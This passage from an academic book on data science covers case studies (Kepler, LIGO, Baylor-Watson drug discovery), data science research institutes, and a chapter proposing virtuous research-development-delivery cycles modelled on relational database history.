NASA Exoplanet Archive.24

• Pipeline: The Kepler Science Pipeline25 failed almost immediately after launch
due to temperature and other unanticipated issues. After being repaired from
earth, it worked well for 4 years.

• Data discovery and acquisition: Required approximately 90% of the total effort
and resources.

• Algorithm selecting and tuning: Models and methods were selected, developed,
tuned, and tested for the decade from project inception in 1999 to satellite launch
in 2009 and were refined continuously.

• Verification: Every model and method were verified, for example, exoplanet
observations were verified using the Keck observatory in Hawaii.

• Probabilistic outcomes26

Kepler:

– Candidates (<95%): 4496
– Confirmed (>99%): 2330
– Confirmed: <2X Earth-size in habitable zone: 30
– Probably (<99%): 1285
– Probably not (~99%): 707

22https://keplerscience.arc.nasa.gov/
23https://archive.stsci.edu/kepler/manuals/Data_Characteristics.pdf
24https://exoplanetarchive.ipac.caltech.edu/docs/KeplerMission.html
25https://keplerscience.arc.nasa.gov/pipeline.html
26Kepler’s data is available at http://exoplanetarchive.ipac.caltech.edu
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K2:

– Candidate (<95%): 521
– Confirmed (>99%): 140

6.2 LIGO: Detecting Gravitational Waves

The LIGO project detected cosmic gravitational waves predicted by Einstein’s 1916
Theory of General Relativity for which its originators were awarded the 2017 Nobel
Prize. Project information and its data are available at the LIGO Scientific Collab-
oration website.27

• Objective and phenomenon: Observe cosmic gravitational waves.
• Project: Initiated in 1997 with 1000 scientists in 100 institutes across

18 countries.
• Equipment: Laser Interferometer Gravitational-Wave Observatory (world’s

most sensitive detector).
• Go Live: September 2015 (after a massive upgrade).
• Data: 1,00,000 channels of measurement of which one is for gravitational waves.
• Models: At least one model per channel.
• Methods: At least one data analysis method per data type being analyzed.

Initially, AI was not used. In the past 2 years, machine learning has been found
to be very effective in many areas, for example, detector malfunctions, earth-
quake detection.

• Challenges: Equipment and pipeline (as is typical in data science activities).
• Results:

– In September 2015 (moments after reboot following the massive upgrade), a
gravitational wave, ripples in the fabric of space-time, was detected and
estimated to be the result of two black holes colliding 1.3 billion light years
from Earth.

– Since then, four more gravitational waves were detected, one as this chapter
went to press.

• Collaboration: The project depended on continuous collaboration between
experimentalists who developed the equipment and theorists who defined what
a signal from two black holes colliding would look like, let alone collaboration
scientists, institutes, and countries.

27http://www.ligo.org/
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6.3 Baylor-Watson: Cancer Drug Discovery

The Baylor-Watson drug discovery project (Spangler et al. 2014) is a wonderful
example of data-driven discovery and automatic hypothesis generation that discov-
ered two novel kinases as potential sources for cancer drug development. These
results that were determined to have a very high likelihood of success were devel-
oped in 3 months using IBM’s Watson compared with the typical multi-year efforts
that typically discover one candidate in 2 years.

• Objective and phenomenon: Discover kinases that regulate protein p53 to
reduce or stem cancerous cell growth that have not yet been evaluated as a
potential cancer drug.

• Project: Two years starting in 2012 between IBMWatson and the Baylor College
of Medicine.

• Equipment: Watson as a data science platform; PubMed as data repository
containing a corpus of 23M medical research articles.

• Data: 23M abstracts reduced to 240,00 papers on kinases reduced to 70,000
papers on kinases that regulate protein p53.

• Hypothesis: Some of 500 kinases in the corpus regulate p53 and have not yet
been used for drugs.

• AI models/methods: Network analysis (Nagarajan et al. 2015) including textual
analysis, graphical models of proteins and kinases, and similarity analysis.

• Pipeline: Explore, interpret, and analyze

– Explore: Scan abstracts to select kinase papers using text signatures.
– Interpret: Extract kinase entities from papers and build connected graph of

similarity among kinases.
– Analyze: Diffuse annotations over kinases to rank order the best candidates for

further experimentation.

• Data discovery and acquisition: Textual analysis of PubMed.
• Challenge: Designing, developing, and tuning models and methods to scan

abstracts for relevant papers; to construct a graphical model of the relevant
relationships; to select kinases that regulate p53.

• Execution: 3 months.
• Results: Two potential cancer drugs in 3 months versus 1 every 2 years

(acceleration).
• Validation: The methods discovered 9 kinases of interest analyzing the corpus up

to 2003; 7 of 9 were empirically verified in the period 2003–2013. This raised the
probability that the remaining two that had not yet been verified clinically were
highly likely candidates.

• Causality: Work is underway to develop drugs that use the kinases to regulate
p53 to stem or reduce cancerous cell growth.

• Collaboration: The project involved collaboration between genetic researchers,
oncologists, experts in AI and natural language understanding, and computer
scientists.
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7 How Important Is Collaboration in Data Science?

Data science is an inherently multidisciplinary activity, just as most human
endeavors require knowledge, expertise, methods, and tools from multiple disci-
plines. Analyzing real-world phenomena requires multidisciplinary approaches, for
example, how can you analyze the politics of a significant event without considering
the economic factors (Brodie 2015c)? Data science requires expertise from multiple
disciplines, from the subject domain, statistics, AI, analytics, mathematics, comput-
ing, and many more. However, multidisciplinary collaboration is especially critical
for success at this early time in the emergence of data science. Success and
advancement in research and industry are typically based on competitive achieve-
ments of individual people or teams rather than on collaboration. While collabora-
tion and multidisciplinary thinking are praised, they are seldom taught or practiced.
Successful data science requires a behavior change from competition to
collaboration.

For disciplines required by scientific activities, there are well-established princi-
ples, methods, and tools from each discipline as well as how they are applied across
scientific workflows. Collaboration was built into these mature disciplines and
workflows years ago. In contrast, the principles, methods, and tools for each relevant
discipline are just emerging for data science, as are methods of collaboration across
workflows.

Currently, data science requires a data scientist to know the sources, conditions,
and nature of the data to ensure that the domain-specific model has the appropriate
data. Rather than becoming a data expert, the data scientist collaborates with a data
expert. Rather than becoming an AI expert, a data scientist may need to collaborate
with an AI expert to ensure the appropriate analytical methods are used. There can be
as many as ten28 disciplines involved in such an activity. Two current challenges in
this regard are: (1) the shortage of data science-savvy experts, and (2) moving from a
world of individual work to one of collaboration. Both challenges are being
addressed by universities and institutes worldwide; however, the knowledge, as
discussed above, and the teachers are themselves new to this game.

The need for collaboration on basic research and engineering on the fundamental
building blocks of data science and data science infrastructures can be seen in a
recent report from the University of California, Berkeley, researchers (Stoica et al.
2017). The report is a collaborative effort from experts from many domains—
statistics, AI, data management, systems, security, data centers, distributed comput-
ing, and more.

Data science activities have emerged in most research labs in most universities
and national research labs. Until 2017, many Harvard University departments had

28Ten is a somewhat arbitrary number chosen because most pipelines involve 5–10 expert tasks.
The actual number of required disciplines varies significantly from simple analyses (e.g., reordering
products for an online retailer) to very sophisticated (e.g., LIGO required analysis of ~1000 sources
of motion).
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one or more groups conducting data science research and offered a myriad of data
science degrees and certificates. In March 2017, the Harvard Data Science initia-
tive29 was established to coordinate the many activities. This pattern has repeated at
over 120 major universities worldwide, resulting in over 150 Data Science Research
Institutes (DSRIs)30 being established since 2015—themselves just emerging. The
creation of over 150 DSRIs in approximately 2 years, most heavily funded by
governments and by partner industrial organizations, is an indication of the belief
in the potential of data science not just as a new discovery paradigm but as a basis for
business and economic growth.

Collaboration is an emerging challenge in data science not only at the scientific
level but also at the strategic and organizational levels. Analysts report that most
early industry big data deployments failed due to a lack of domain-business-analyt-
ics-IT collaboration (Forrester 2015). Most of the over 150 DSRIs involve a
grouping of departments or groups with an interest in data science, each in their
own domain, into a higher level DSRI. A large example is the Fraunhofer Big Data
Alliance,31 which in the above terminology would be a DSRI of DSRIs and
describes itself as: “The Fraunhofer Big Data Alliance consists of 30 institutes
bundling their cross-sector competencies. Their expertise ranges from market-
oriented big data solutions for individual problems to the professional education of
data scientists and big data specialists.”

In principle, a DSRI would strive for higher-level, scientific, and strategic goals,
such as contributing to data science (i.e., the science underlying data science) in
contrast with the contributions made in a specific domain by each partner organiza-
tion. But how does the DSRI operate? How should it be organized so as to encourage
collaboration and achieving higher-level goals?

While data science is inherently multi-disciplinary, hence collaborative, in nature,
scientists and practitioners lack training in collaboration and are motivated to focus
on their objectives and domain. Why would a bioinformaticist (bioinformatician)
attempt to establish a data science method that goes beyond her requirements,
especially as it requires an understanding of domains such as deep learning?
Collaboration is also a significant organizational challenge specifically for the over
150 DSRIs that were formed as a federation of organizational units each of which
conducts data science activities in different domains. Like the bioinformaticist, each
organization has its own objectives, budget, and investments in funding and intel-
lectual property. In such an environment, how does a DSRI establish strategic
directions and set research objectives? One proposal is through a DSRI Chief
Scientific Officer (Brodie 2019).

29https://datascience.harvard.edu/
30The DSRI list that I maintain by searching the web grows continuously—an excellent exercise for
the reader.
31https://www.bigdata.fraunhofer.de/en.html
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8 What Is World-Class Data Science Research?

While many data science groups share a passion for data science, they do not share
common data science components—principles, data, models, and methods; pipe-
lines; data science infrastructures; and data infrastructures. This is understandable
given the state of data science and the research needs of the individual groups;
however, to what extent are these groups pursuing data science, per se? This raises
our original questions: What is data science? What is world-class data science
research? These questions are central to planning and directing data science research
such as in DSRIs.

There are two types of data science research: domain-specific contributions and
contributions to the discipline of data science itself. Domain-specific, world class
data science research concerns applications of data science in specific domains
resulting in domain-specific discoveries that are recognized in its domain as being
world class. There are many compelling examples, as in Sect. 6. To be considered
data science, the research should adhere to the definition of data science, be based on
some version of the data science method, use a data science pipeline, and utilize the
components of data science. The data science components or the data science
method, including scale, accelerating discovering, finding solutions that might not
have been discovered otherwise, should be critical to achieving the result in com-
parison with other methods.

Equally or even more important, world class data science research should estab-
lish data science as a science or as a discipline with robust principles, data, models,
and methods; pipelines; a data science method supported by robust data science
infrastructures; and data infrastructures applicable to multiple domains. Such a
contribution must be proven with appropriate applications of the first type. A
wonderful example of generalizing a domain-specific data science method is
extending the network analysis method applied to some specific medical corpora
used successfully in drug discovery (Spangler et al. 2014) to domain-independent
scientific discovery applied to arbitrary scientific corpora (Nagarajan et al. 2015).
The original method was implemented in three stages—exploration, interpretation,
and analysis—using a tool called Knowledge Integration Toolkit (KnIT). Explora-
tion involved lexical analysis and text mining of abstracts of the entire corpora up to
2003 (2,40,000) of medical literature mentioning kinases, a type of protein that
governs cell growth, looking for proteins that govern p53, a tumor suppressor. This
resulted in 70,000 papers to analyze further. Interpretation analyzed some of the
papers to produce a model of each kinase and built a connected graph that represents
the similarity relationship among kinases. The analysis phase identified and elimi-
nated kinases that are not p53, ultimately resulting in discovering nine kinases with
the desired properties. A retrospective search of the literature verified that seven of
the nine were proven empirically to be tumor suppressors (candidates for cancer
drugs) in papers published in 2003–2013. This significantly raised the probability
that the two remaining kinases were as yet undiscovered candidates for cancer drugs.
These were world-class data science results and a magnificent example of analysis
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involving complexity beyond human cognition. First and foremost, the two kinases
were accepted by the medical community as candidate tumor suppressors, that is,
published in medical journals. Second, the discovery was due to data science
methods. Data science accelerated discovery since typically one such cancer drug
candidate is found every 2–3 years; once the KnIT model was built, the candidate
kinases were discovered in approximately 3 months. The verification method, the
retrospective analysis of cancer drug discovery 2003–2013 was brilliant. As with
most data science analysis, the results were probabilistic, that is, the nine candidate
kinases were determined to likely candidates by the network model of the kinases,
however, verification, or further confirmation, was established by a method outside
data science altogether, that is, discovered previously published results. The original
analytical method that provided automated hypothesis generation (i.e., these kinases
are similar) based on text mining of medical corpora concerning proteins was
generalized to automated hypothesis generation based on text mining of any scien-
tific corpora. While the first result was domain-specific, hence an application of data
science, the extension of the domain-specific method to all scientific domains was a
contribution to the science of data science. This is a higher level of world-class data
science research.

The charter of every DSRI should include both domain-specific data science
research and research to establish data science as a discipline. Since most DSRIs
were formed from groups successfully practicing domain-specific data science, they
are all striving for world class domain-specific data science. Without world class
research in data science per se, it would be hard to argue that the DSRI contributes
more than the sum of its parts. One might argue that lacking research into data
science per se means that the DSRI has more of an organizational or marketing
purpose than a research focus. The primary objective of a significant portion of the
150 DSRIs referenced above appears to be organizational, for example, to bring
together the various organizations that conduct data science. In contrast, in 2012 the
Irish Government established Insight Center for Data Analytics as a national DSRI to
conduct data science research and apply it in domains relevant to Ireland’s future. In
doing so, it set objectives much higher than bringing together data science activities
from its seven universities. The government of Ireland, through its funding agency,
Science Foundation Ireland (SFI), continuously evaluates Insight on world class data
science. This includes advancing data science principles, data, models, and methods
and proving their value by achieving results in health and human performance,
enterprises and services, smart communities and Internet of things, and sustainabil-
ity. More challenging, however, SFI requires that Insight contributes more than the
sum of the parts, the individual units working on their own. This contributes to the
science of data science by developing principles, data models, methods, pipelines,
and infrastructure that is applicable to multiple domains.
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9 Conclusions

Data science is an emerging paradigm with the primary advantage of accelerating the
discovery of correlations between variables at a scale and speed beyond human
cognition and previous discovery paradigms. Data science differs paradigmatically
from its predecessor scientific discovery paradigms that were designed to discover
causality—Why a phenomenon occurred—in real contexts. Data science is designed
to discover correlations—What phenomena may have or may occur—in data pur-
ported to represent some real or imagined phenomenon. Unlike previous scientific
discovery paradigms that were designed for scientific discovery and are now applied
in many non-scientific domains, data science is applicable to any domain for which
adequate data is available. Hence, the potential of broad applicability and accelerat-
ing discovery in any domain to rapidly reduce the search space for solutions holds
remarkable potential for all fields. While already applicable and applied successfully
in many domains, there are many challenges that must be addressed over the next
decade as data science matures.

My decade-long experience in data science suggests that there are no compelling
answers to the questions posed in this chapter. This is due in part to its recent
emergence, its almost unlimited breadth of applicability, and to its inherently
multidisciplinary, collaborative nature.

To warrant the designation data science, this emerging paradigm, as a science,
requires fundamental principles and techniques applicable to all relevant domains.
Since most “data science” work is domain specific, often model- and method-
specific, “data science” does not yet warrant the designation of a science. This is
not a mere appeal for formalism. There are many challenges facing data science such
as validating results thereby minimizing the risks of failures. The potential benefits
of data science, for example, in accelerating the discovery of cancer cures and
solutions to global warming, warrant establishing rigorous, efficient data science
principles and methods that could change our world for the better.
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Chapter 9
On Developing Data Science

Michael L. Brodie

Abstract Understanding phenomena based on the facts—on the data—is a touch-
stone of data science. The power of evidence-based, inductive reasoning distin-
guishes data science from science. Hence, this chapter argues that, in its initial
stages, data science applications and the data science discipline itself be developed
inductively and deductively in a virtuous cycle.

The virtues of the twentieth Century Virtuous Cycle (aka virtuous hardware-
software cycle, Intel-Microsoft virtuous cycle) that built the personal computer
industry (National Research Council, The new global ecosystem in advanced com-
puting: Implications for U.S. competitiveness and national security. The National
Academies Press, Washington, DC, 2012) were being grounded in reality and being
self-perpetuating—more powerful hardware enabled more powerful software that
required more powerful hardware, enabling yet more powerful software, and so
forth. Being grounded in reality—solving genuine problems at scale—was critical to
its success, as it will be for data science. While it lasted, it was self-perpetuating, due
to a constant flow of innovation, and to benefitting all participants—producers,
consumers, the industry, the economy, and society. It is a wonderful success story
for twentieth Century applied science. Given the success of virtuous cycles in
developing modern technology, virtuous cycles grounded in reality should be used
to develop data science, driven by the wisdom of the sixteenth Century proverb,
Necessity is the mother of invention.

This chapter explores this hypothesis using the example of the evolution of
database management systems over the last 40 years. For the application of data
science to be successful and virtuous, it should be grounded in a cycle that encom-
passes industry (i.e., real problems), research, development, and delivery. This
chapter proposes applying the principles and lessons of the virtuous cycle to the
development of data science applications; to the development of the data science
discipline itself, for example, a data science method; and to the development of data
science education; all focusing on the critical role of collaboration in data science
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research and management, thereby addressing the development challenges faced by
the more than 150 Data Science Research Institutes (DSRIs) worldwide. A compan-
ion chapter (Brodie, What is Data Science, in Braschler et al (Eds.), Applied data
science – Lessons learned for the data-driven business, Springer 2019), addresses
essential questions that DSRIs should answer in preparation for the developments
proposed here: What is data science? What is world-class data science research?

1 Introduction

Data science is inherently data- or evidence-based analysis; hence, it is currently an
applied science. Data science emerged at the end of the twentieth century as a new
paradigm of discovery in science and engineering that used ad hoc analytical
methods to find correlations in data at scale. While there was science in each
analysis, there was little science underlying data science per se. Data science is in
its infancy and will take a decade to mature as a discipline with underlying scientific
principles, methods, and infrastructure (Brodie 2019a). This chapter describes a
method by which data scientists and DSRIs might develop data science as a science
(e.g., fundamentals—principles, models, and methods) and as a discipline or an
applied science (e.g., practices in the development of data science products, as
described throughout this book (Braschler et al. 2019). The method is based on the
twenty-first century Virtuous Cycle—a cycle of collaboration among industry,
research, development, and delivery, for example, to develop and use data science
products.

The cycle and its virtues evolved from medieval roots to surface in industry
including in the research and development of large-scale computer systems and
applications, extended to include product development as a research and develop-
ment (R&D) cycle; now extended to deployment in a research, development, and
delivery (RD&D) cycle. The cycle is used extensively in academic and industrial
computer science research and development, by most technology startups, and is
integral to the open source ecosystem (Olson 2019; Palmer 2019). It is used
extensively in applied science and education, and increasingly in medical and
scientific research and practice. We look at the lessons learned in the development
of large-scale computer systems, specifically relational database systems based on a
recent analysis (Brodie 2019b), tracing how the virtuous cycle was extended to a
larger virtuous cycle of demand, research, product development, deployment, prac-
tice, and back again.

Section 2 introduces the twentieth century Virtuous R&D Cycle made famous by
Microsoft and Intel. Section 3 extends the cycle to the Twenty-First Century
Virtuous RD&D Cycle, illustrated using the mutual development of database man-
agement system (DBMS) research and products and extends the cycle to education.
Section 4 builds upon this blueprint and applies it to three aspects of data science:
concrete data products, the discipline itself, and data science education, and con-
cludes by looking forward. Section 5 illustrates previous themes with lessons learned
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in the development of data science and DSRIs, and exposing commonly reported
data science facts as pure myths. Section 6 speculates on the impacts of data science,
both benefits and threats; given the projected significance of data science, there may
be more profound impacts. Section 7 concludes optimistically with challenges that
lie ahead.

2 Twentieth Century Virtuous Cycles

The twentieth century Virtuous Cycle accelerated the growth of the personal com-
puter industry with more powerful hardware (speed, capacity, miniaturization) that
enabled more powerful software (functions, features, ease of use) that in turn
required more powerful hardware (Fig. 9.1). Hardware vendors produced faster,
cheaper, more powerful hardware (i.e., chips, memory) fueled by Moore’s Law. This
led software vendors to increase the features and functions of existing and new
applications, in turn requiring more speed and memory. Increasing hardware and
software power made personal computers more useful and applicable to more users,
thus increasing demand and growing the market that in turn, through economies of
scale, lowered costs in ever-shortening cycles. But what made the cycle virtuous?

The hardware-software cycle had two main virtues worth emulating. First, the
cycle became self-perpetuating driven by a continuous stream of innovation—good
hardware ideas, for example, next generation chips, and good software ideas, for
example, next great applications (Fig. 9.2). It ended in 2010 (National Research
Council 2012) when dramatic hardware gains were exhausted, the market
approached saturation, and its fuel—good ideas—was redirected to other technolo-
gies. Second, all participants benefited: hardware and software vendors, customers,
and more generally the economy and society through the growth of the personal

More Powerful
Software

More Powerful
Hardware

RequiresEnables

Repeat
{
Hardware power
Software power
}

Fig. 9.1 The hardware-
software cycle
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computer industry and the use of personal computers. The twentieth century Virtu-
ous Cycle was simply hardware innovation and software innovation in a cycle.

The virtuous hardware-software cycle produced hardware and software each of
which developed its own R&D cycle (Fig. 9.3). Hardware vendors and universities
used the hardware (R&D) cycle to address hardware opportunities and challenges by
conducting fundamental research into next generation hardware. As long as there
was hardware innovation—good ideas—the hardware R&D cycle was virtuous.

Software
Innovation

Hardware
Innovation

RequiresEnables

Repeat
{
Hardware power
Software power
}

Fig. 9.2 Twentieth century
virtuous hardware-software
cycle

Software

Hardware

RequiresEnables

Research Prototype

Research Prototype

Enables

Enables

Enables

Enables

Fig. 9.3 Software and
hardware R&D cycles

134 M. L. Brodie



Similarly, software vendors used the software R&D cycle to address software
challenges and opportunities in their ever-shortening cycles. This also worked well
for next generation applications. However, fundamental research into next genera-
tion systems, specifically database management systems, was conducted by vendors
(e.g., IBM, Software AG, Honeywell Information Systems) and not by universities.

Addressing fundamental DBMS challenges and opportunities in a university
requires access to industrial-scale systems, industrial applications, and use cases
(i.e., data). Until the early 1970s, universities lacked industrial experience, case
studies, and resources such as large-scale systems and programming teams. At that
time, Michael Stonebraker at University of California, Berkeley, began to address
this gap1. Stonebraker and Eugene Wong built Ingres (Stonebraker et al. 1976), a
prototype industrial scale relational DBMS (RDBMS) for industrial scale geographic
applications. They made the Ingres code line available as one of the first open source
systems. The Ingres code line then enabled universities to conduct fundamental
systems research. Ingres was the first example in a university of extending the
twentieth century Virtuous Cycle to systems engineering, specifically to a DBMSs.
The cycle was subsequently extended to large systems research in universities and
industry. Due to the importance of the system developed in the process, it became
known as the twentieth century Virtuous R&D Cyclewhich simply stated is research
innovation and engineering innovation, in a cycle (Olson 2019).

3 Twenty-First Century Virtuous Research, Development,
and Delivery Cycles

3.1 The Virtuous DBMS RD&D Cycle

Using Ingres for industry-scale geographic applications was a proof of concept of the
feasibility of the relational model and RDBMSs. But were they of any value? How
real were these solutions? Were relational systems applicable in other domains?
These questions would be answered if there were a market for Ingres, that is, a
demand. Stonebraker, Wong, and Larry Rowe formed Relational Technology, Inc.,
later named the Ingres Corporation, to develop and market Ingres. Many companies
have used the open source Ingres and Postgres (Stonebraker and Kemnitz 1991)
code lines to produce commercial RDBMSs (Naumann 2018) that together with
IBM’s DB2, Oracle, and Microsoft SQL Server now form a $55 bn per year market,
thus demonstrating the value and impact of RDBMSs as a “good idea” (Stonebraker

1Stonebraker’s DBMS developments coincided with the emergence of the open source movement.
Together they created a virtuous cycle that benefited many constituencies—research, DBMS
technology, products, applications, users, and the open source movement resulting in a multi-
billion-dollar industry. Hence, this example warrants a detailed review as lessons for the develop-
ment of data science.
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2019a, b). This extended the twentieth century Virtuous R&D Cycle to DBMSs in
which DBMS research innovation led to DBMS engineering innovation that led to
DBMS product innovation. DBMS vendors and universities repeated the cycle
resulting in expanding DBMS capabilities, power, and applicability that in turn
contributed to building the DBMS market. Just as the hardware-software cycle
became virtuous, so did the DBMS R&D cycle. First, research innovation—succes-
sive good ideas—led to engineering innovation that led to product innovation. This
cycle continues to this day with the emergence of novel DBMS ideas especially with
the new demands of Big Data. Second, all participants benefit: vendors, researchers,
DBMS users, and more generally the economy using data management products and
the growth of the data management industry. Big Data and data science follow
directly in this line.

A wonderful example of necessity being the mother of invention is the use of
abstract data types as the primary means of extending the type system of a DBMS
and providing an interface between the type systems of a DBMS and its application
systems—arguably Stonebraker’s most significant technical contribution. To build
an RDBMS based on Ted Codd’s famous paper (Codd 1970), Stonebraker and
Wong obtained funding for a DBMS to support Geographic Information Systems.
They soon discovered that it required point, line, and polygon data types and
operations that were not part of Codd’s model. Driven by this necessity, Stonebraker
chose the emerging idea of abstract data types to extend the built-in type system of a
DBMS. This successful innovation has been a core feature of DBMSs ever since.
Abstract data types is only one of many innovations that fed the 40-year-old virtuous
necessity-innovation-development-product cycle around Ingres and Postgres.

In all such cycles, there is a natural feedback loop. Problems (e.g., recovery and
failover), challenges, and opportunities that arose with relational DBMS products
fed back to the vendors to improve and enhance the products while more funda-
mental challenges (e.g., lack of points, lines, and polygons) and opportunities went
back to university and vendor research groups for the next cycle of innovation.
Indeed, modern cycles use frequent iteration between research, engineering, and
products to test or validate ideas, such as the release of beta versions to find “bugs”.

Stonebraker, together with legions of open source contributors, extended the
twentieth century Virtuous R&D Cycle in several important dimensions to become
the twenty-first century Virtuous Research, Development, and Delivery Cycle. First,
in creating a commercial product he provided a compelling method of demonstrating
the value and impact of what was claimed as a “good idea” in terms of demand in a
commercial market. This added the now critical delivery step to become the
research-development-delivery (RD&D) cycle. Second, as an early proponent of
open source software on commodity Unix platforms he created a means by which
DBMS researchers and entrepreneurs have access to industrial scale systems for
RD&D. Open source software is now a primary method for industry, universities,
and entrepreneurs to research, develop, and deliver DBMSs and other systems.
Third, by using industry-scale applications as use cases for proofs of concept, he
provided a method by which research prototypes could be developed and demon-
strated to address industrial-scale applications. Now benchmarks are used for
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important industrial-scale problems as a means of evaluating and comparing systems
in industrial-scale contexts. Fourth, and due to the above, his method provided
means by which software researchers could engage in fundamental systems research,
a means not previously available that is now a critical requirement for large-scale
systems research.

The RD&D cycle is used to develop good research ideas into software products
with a proven demand. Sometimes the good idea is a pure technical innovation, for
example, a column store DBMS: queries will be much faster if we read only the
relevant columns! This led to the Vertica DBMS (Stonebraker et al. 2005). More
often it is a “pain in the ass” (PIA) problem, namely, a genuine problem in a real
industrial context for which someone will pay for the development of a solution.
Paying for a solution demonstrates the need for a solution and helps fund its
development. Here is a real example: A major information service company creates
services, for example, news reports, by discovering, curating, de-duplicating, and
integrating hundreds of news wire reports from data items that are dirty, heteroge-
neous, and highly redundant, for example, over 500 reports of a US school shooting
in 500 different formats. Due to the Internet, as the number of news data sources
soared from hundreds to hundreds of thousands, the largely manual methods would
not scale. This PIA problem led to Tamr,2 a product for curating data at scale.

The RD&D cycle is the process underlying applied science. The RD&D cycle—
an applied science method—becomes virtuous as long as there is a continuous flow
of good ideas and PIA problems that perpetuate it (Fig. 9.4).

Stonebraker received the 2014 AM Turing Award—“the Nobel prize in comput-
ing”—“For fundamental contributions to the concepts and practices underlying
modern database systems” (ACM 2015)3. Concepts mean good research ideas—
DBMS innovations. Practice means taking DBMS innovations across the virtuous
RD&D cycle to realize value and create impact. Following the cycle produced the
open source Ingres DBMS that resulted in the Ingres DBMS product, and the Ingres

DBMS

Research Prototype

Enables

Enables

Fig. 9.4 Virtuous DBMS RD&D cycle

2Tamr.com provides tools and services to discover and prepare data at scale, for example, 1,00,000
data sources, for Big Data projects and data science.
3The RDBMS RD&D cycle was chosen to illustrate the theme of this chapter, as it is one of the
major achievements in computing.
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Corporation with a strong market, that is, users who valued the product. Stonebraker
refined and applied his method in eight subsequent academic projects and their
commercial counterparts: Ingres (Ingres) (Stonebraker et al. 1976), Postgres
(Illustra) (Stonebraker and Kemnitz 1991), Mariposa (Cohera), Aurora
(StreamBase), C-Store (Vertica) (Stonebraker et al. 2005), Morpheus (Goby),
H-Store (VoltDB), SciDB (Paradigm4), and Data Tamer (Tamr) with BigDAWG
Polystore and Data Civilizer currently in development. The concepts and practice of
this RD&D cycle are a formula for applied science of which Stonebraker’s systems
are superb examples4 (Stonebraker 2019a):

Repeat {

Find somebody who is in pain
Figure out how to solve their problem
Build a prototype
Commercialize it
}

The systems research community adopted open source methods and extended the
cycle to all types of systems resulting in a Twenty-First Century Virtuous RD&D
Cycle for systems that transformed academic systems research to deliver greater
value for and higher impact in research, industry, and practice.

The twenty-first century Virtuous Research, Development, and Delivery Cycle is
simply research innovation, engineering innovation, and product innovation in a
cycle. As we will now see, its application and impacts go well beyond systems
RD&D.

3.2 The Critical Role of Research-Industry Collaboration
in Technology Innovation

Virtuous RD&D cycles require researchers-industry collaboration that mutually
benefits research and industry. Industry often needs insight into challenges for
which they may not have the research resources. More commonly, industry faces
PIA problems for which there are no commercial solutions. As discussed in Sect.
4.2, this is precisely the case for data science today. Most US enterprises have
launched data science efforts most of which fail as few in industry understand data
science or can hire data scientists. But let us return to understanding the cycles before
applying them to data science.

It is common that industry may not be aware of PIA problems that lurk below the
surface. For example, all operational DBMSs, more than 5 m in the USA alone,

4Don’t let the pragmatism of these examples hide the scientific merit. Computer science was
significantly advanced by fundamental principles introduced in each of the systems mentioned.
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decay due to their continuous evolution to meet changing business requirements.
While database decay is a widely known pattern, it has not been accepted as a PIA
problem since there is little insight into its causes, let alone technical or commercial
solutions. Recent research (Stonebraker et al. 2016a, b, 2017) proposes both causes
and solutions that will be realized only with industrial-scale systems and use cases
with which to develop, evaluate, and demonstrate that the proposed “good ideas”
actually work! Insights into causes and solutions came exclusively through a
research-industry collaboration between MIT and B2W Digital, a large Brazilian
retailer.

Industry gains in RD&D cycles in several ways. First, industry gains insight into
good ideas or challenges being researched. Second, industry gets access to research
prototypes to investigate the problem in their environment. Third, if successful, the
prototype may become open source5 available to industry to apply and develop,
potentially becoming a commercial product. Fourth, industry can gain ongoing
benefits from collaborating with research such as facilitating technology transfer
and indicating to customers, management, and investors its pursuit of advanced
technology to improve its products and services. Finally, a PIA industry problem
may be resolved or a hypothesized opportunity may be realized.

Industry collaboration is even more critical for research, especially for research
involving industrial-scale use cases. Researchers need access to genuine, industrial-
scale opportunities or, more often, challenges that require research that is beyond the
capability or means of industry to address, and to real use cases with which to
develop, evaluate, and demonstrate prototype solutions. Scale is important as “the
devil is in the details” that arise in industrial-scale challenges and seldom in toy use
cases. Through collaboration, research can understand and verify the existence and
extent of a problem or the likelihood and potential impact of a good idea by
analyzing them in a genuine industrial context. Is the problem real? Is a solution
feasible? What might be the impact of the solution? This is precisely what is needed
in data science for both researchers and industry.

Ideally, collaboration occurs in a continuous RD&D cycle in which research and
industry interact to identify and understand problems, opportunities, and solutions. It
is virtuous if all participants benefit and as long as problems and opportunities arise.
Such research–industry collaborations are better for technology transfer than con-
ventional marketing and sales (Stonebraker 2019a, b).

By the mid-2000s, startups worldwide used a version of the Twenty-First Century
Virtuous RD&D Cycle (Fig. 9.5) as their development method as a natural extension
of the open source ecosystem. An obvious example is the World Wide Web that
spawned an enormous number of apparently odd innovations. Who knew that a
weird application idea like Twitter, a 140-character message service, would become

5Open source is not required for research-industry collaborations; however, open source can
significantly enhance development, for example, Apache Spark’s 42 m contributions from 1567
contributors, and impact, for example, used by over 1 m organizations, due in part to free
downloads.
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a thing (weaponized by a US president)? Or Snapchat, an image service where
images self-destruct? The virtuous RD&D cycle was used on a much grander scale in
the World Wide Web and in Steve Jobs’ iPhone both of which went from self-
perpetuating to viral and in so doing changed our world. These projects were
developed, and continue to be developed, with extensive industry collaboration
driven by good—sometimes weird—ideas, novel applications, and PIA problems
to be proven at scale. One might argue that the Twenty-First Century Virtuous
RD&D Cycle is one of the most effective development methods.

3.3 The Role of Innovation in RD&D Cycles

The virtues of the RD&D cycle apply to data science. First, data science should be
grounded in reality by using industrial-scale challenges, opportunities, and use cases
to drive the cycle to develop and validate solutions and products to prove value and
impact. Second, it should be made self-perpetuating by ensuring a constant flow of
innovation, especially in its emerging state—good ideas, challenges, PIA problems,
and opportunities—with the result that the methods and results improve, thus
benefiting all participants: producers, consumers, the industry, the economy, and
society. Innovative ideas perpetuate the cycle, the best innovations accelerate the
cycle.

As illustrated in Table 9.1, innovation is required in each stage, for the cycle to be
virtuous—to self-perpetuate. There is a two-way flow between cycle stages. Tech-
nology, for example, a data science platform, transfers down (!) the cycle in the
form of research results, prototypes, and products, while requirements transfer up
( ) the cycle in the form of use cases, PIA problems, opportunities, challenges, and
user requirements. Innovation—good ideas—can enter anywhere in the cycle, but
must continuously enter for the cycle to self-perpetuate.

The cycle also applies to education—understanding How each stage works and
educating participants in its successful application. For data science education,
understanding How stages work leads to data science theories in research, to data
science architectures and mechanisms in engineering, to data science products in

Applications
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Fig. 9.5 Twenty-first century virtuous RD&D cycle
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development, and to data science applications in practice. Education also benefits
from a two-way flow between theories in research, architectures in engineering,
products in development, and use cases in practice. Innovation—good ideas—can
enter anywhere in the cycle.

Education in an established domain such as DBMSs involves understanding the
principles and techniques and How they work. Innovation for education across the
cycle concerns innovation not only in data science per se but also in education—how
data science is taught and understood. Research and technology transfer across the
